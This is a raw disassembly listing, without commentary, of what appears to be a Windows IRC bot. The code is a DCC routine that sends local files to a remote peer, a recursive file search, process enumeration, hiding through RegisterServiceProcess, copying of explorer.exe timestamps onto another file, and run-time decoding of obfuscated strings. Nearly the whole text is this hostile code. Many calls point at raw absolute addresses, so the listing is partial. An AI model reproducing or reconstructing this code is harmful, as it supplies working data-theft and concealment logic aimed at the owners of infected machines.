var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C400
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014D3
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40C94E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_443600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40200E
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
call near ptr 71AB3B91h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C4CC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
call sub_5EDAB2
nop
add esp, 8
jmp loc_40C8F5
; ---------------------------------------------------------------------------
loc_40C4CC: ; CODE XREF: sub_40C400+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C51A
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C5C0
; ---------------------------------------------------------------------------
loc_40C51A: ; CODE XREF: sub_40C400+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014D3
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C573: ; CODE XREF: sub_40C400+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C585
mov eax, 5Fh
jmp short loc_40C588
; ---------------------------------------------------------------------------
loc_40C585: ; CODE XREF: sub_40C400+17Cj
movsx eax, al
loc_40C588: ; CODE XREF: sub_40C400+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C573
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C5DD
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C5C0: ; CODE XREF: sub_40C400+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C5DD: ; CODE XREF: sub_40C400+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017E4
push eax
nop
call near ptr 28603C2h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C644
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5EDAB2
add esp, 8
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C644: ; CODE XREF: sub_40C400+201j
push 0
push esi
nop
call near ptr 2860000h
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_401424
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D60CD
push eax
call sub_401DF7
add esp, 4
push eax
nop
call near ptr 71AB2BF4h
push eax
call near ptr 71AB2BC0h
nop
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017E4
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_443A30
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_401681
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C73D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C73D: ; CODE XREF: sub_40C400+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C78D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C78D: ; CODE XREF: sub_40C400+360j
push edi
nop
call near ptr 71AB9639h
test ebx, ebx
jz loc_40C845
loc_40C79C: ; CODE XREF: sub_40C400+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C7A7
mov ebp, ebx
loc_40C7A7: ; CODE XREF: sub_40C400+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 28503FBh
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2850000h
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C90E
cmp edi, 1
jl loc_40C90E
sub ebx, edi
jnz loc_40C79C
mov ebp, [esp+0ABCh+arg_0]
loc_40C845: ; CODE XREF: sub_40C400+396j
push esi
nop
call near ptr 28409D0h
lea ecx, [esp+0AB8h+var_A38]
call sub_401424
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014D3
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014D3
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C8DA: ; CODE XREF: sub_40C400+338j
; sub_40C400+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C8EF: ; CODE XREF: sub_40C400+1D8j
; sub_40C400+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C8FC
loc_40C8F5: ; CODE XREF: sub_40C400+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C8FC: ; CODE XREF: sub_40C400+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
call near ptr 2840164h
nop
loc_40C90E: ; CODE XREF: sub_40C400+427j
; sub_40C400+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
call near ptr 71AB9639h
nop
push 1
nop
call near ptr 2840164h
loc_40C94E: ; CODE XREF: sub_40C400+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C400 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CAD0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_401424
mov eax, esi
pop esi
retn
sub_40CAD0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CAF0: ; CODE XREF: ___:loc_401AFFj
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CB10 proc near ; CODE XREF: sub_402045j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CB10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_40CB10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401BA4j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CBB0
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014D3
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CDAE
push ebx
lea ecx, [esp+284h+var_260]
call sub_40198D
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40200E
push 1
push offset asc_443600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+288h+var_247]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_443600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017E4
push eax
lea ecx, [esp+288h+var_232]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E2E
push offset asc_443B04 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CD2B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E2E
push offset dword_446F74
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CD2B: ; CODE XREF: sub_40CBB0+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014D3
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014D3
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_401681
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_402257
add esp, 18h
lea edx, [esp+284h+var_20C]
push eax
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call sub_5EDAB2
mov eax, [esp+28Ch+var_211]
add esp, 0Ch
cmp eax, ebx
jnz short loc_40CD99
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_401681
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_401523
add esp, 10h
loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j
mov eax, [esp+280h+var_219]
push eax
call sub_401E24
add esp, 4
push ebx
nop
call near ptr 2840164h
pop ebx
loc_40CDAE: ; CODE XREF: sub_40CBB0+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CE60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CEE0: ; CODE XREF: ___:loc_40226Bj
push 0FFFFFFFFh
push offset loc_438D86
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF60 proc near ; CODE XREF: sub_402257j
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_50FAD8
push esi
push offset aS_2 ; "%s\\*"
push 104h
push eax
call edi ; dword_50FAD8
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2880000h
nop
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D027
loc_40CFB0: ; CODE XREF: sub_40CF60+C5j
test [esp+558h+var_548], 10h
jz short loc_40D017
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40CFCA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D017
cmp al, 2Eh
jz short loc_40D017
loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_443684
push 104h
push ecx
call edi ; dword_50FAD8
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_402257
add esp, 2Ch
mov ebp, eax
loc_40D017: ; CODE XREF: sub_40CF60+55j
; sub_40CF60+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
call near ptr 2870000h
nop
test eax, eax
jnz short loc_40CFB0
loc_40D027: ; CODE XREF: sub_40CF60+4Ej
push ebx
nop
call near ptr 286064Dh
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_443684
push 104h
push eax
call edi ; dword_50FAD8
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 2880000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D0BB
loc_40D068: ; CODE XREF: sub_40CF60+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; dword_50FAD8
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_401523
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2870000h
test eax, eax
jnz short loc_40D068
loc_40D0BB: ; CODE XREF: sub_40CF60+106j
push ebx
nop
call near ptr 286064Dh
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40CF60 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D130 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D130
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_40D130 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D2E0: ; CODE XREF: ___:004013CAj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
nop
call near ptr 2881E50h
push eax
nop
call near ptr 28812E4h
mov eax, dword_4470B0
test eax, eax
jz loc_40D403
mov ecx, dword_4470AC
test ecx, ecx
jz loc_40D403
mov ecx, dword_446F78
test ecx, ecx
jz loc_40D403
push 0
push 2
call eax ; dword_4470B0
cmp eax, 0FFFFFFFFh
mov dword_4470A8, eax
jz loc_40D403
push ebp
push offset dword_446F80
push eax
xor ebp, ebp
mov dword_446F80, 128h
call dword_4470AC ; Process32First
test eax, eax
jz loc_40D3EC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_50FAD4
push edi
loc_40D36D: ; CODE XREF: ___:0040D3E7j
mov edi, offset dword_446FA4
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_446FA4
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_446FA4
add edx, ecx
push edx
call esi ; dword_50FAD4
add esp, 0Ch
test eax, eax
jz short loc_40D3D3
mov edi, offset dword_446FA4
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_446FA4
mov ecx, ebx
call sub_401681
push eax
call esi ; dword_50FAD4
add esp, 0Ch
test eax, eax
jnz short loc_40D3D4
loc_40D3D3: ; CODE XREF: ___:0040D3ABj
inc ebp
loc_40D3D4: ; CODE XREF: ___:0040D3D1j
mov eax, dword_4470A8
push offset dword_446F80
push eax
call dword_446F78 ; Process32Next
test eax, eax
jnz short loc_40D36D
pop edi
pop esi
pop ebx
loc_40D3EC: ; CODE XREF: ___:0040D357j
mov ecx, dword_4470A8
push ecx
nop
call near ptr 28409D0h
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D403: ; CODE XREF: ___:0040D306j
; ___:0040D314j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D460: ; CODE XREF: ___:00401F91j
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
nop
call near ptr 2890A90h
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_50F8E8
lea eax, [esp+38h]
push 80000000h
push eax
call edi ; dword_50F8E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
call near ptr 289069Ch
nop
mov ebx, dword_50F8D8
push esi
call ebx ; dword_50F8D8
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi ; dword_50F8E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 2890000h
push esi
call ebx ; dword_50F8D8
loc_40D526: ; CODE XREF: ___:0040D4C9j
; ___:0040D50Bj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D580 proc near ; CODE XREF: sub_401B59j
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_401424
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27F0B48h
lea ecx, [esp+1A8h+var_16C]
call sub_4017E4
push eax
lea ecx, [esi+4]
call sub_4015D7
lea ecx, [esp+1A8h+var_184]
call sub_401424
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C5D
push eax
push 0
call near ptr 2881E50h
nop
push eax
call near ptr 28812E4h
nop
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27E0B2Ch
mov esi, eax
test esi, esi
jz short loc_40D671
mov edi, dword_50F8A0
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi ; dword_50F8A0
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_4470B4, eax
call edi ; dword_50F8A0
push offset aProcess32first ; "Process32First"
push esi
mov dword_4470B0, eax
call edi ; dword_50F8A0
push offset aProcess32next ; "Process32Next"
push esi
mov dword_4470AC, eax
call edi ; dword_50F8A0
mov dword_446F78, eax
mov eax, dword_4470B4
test eax, eax
jz short loc_40D671
push ebx
push 0
call eax ; dword_4470B4
loc_40D671: ; CODE XREF: sub_40D580+A7j
; sub_40D580+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402117
test eax, eax
jnz short loc_40D6A8
mov al, byte_44719F
test al, al
jz short loc_40D6A8
mov ecx, esi
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
loc_40D6A8: ; CODE XREF: sub_40D580+10Dj
; sub_40D580+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019B5
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017E4
push eax
call sub_4015FA
sub_40D580 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017E4
push eax
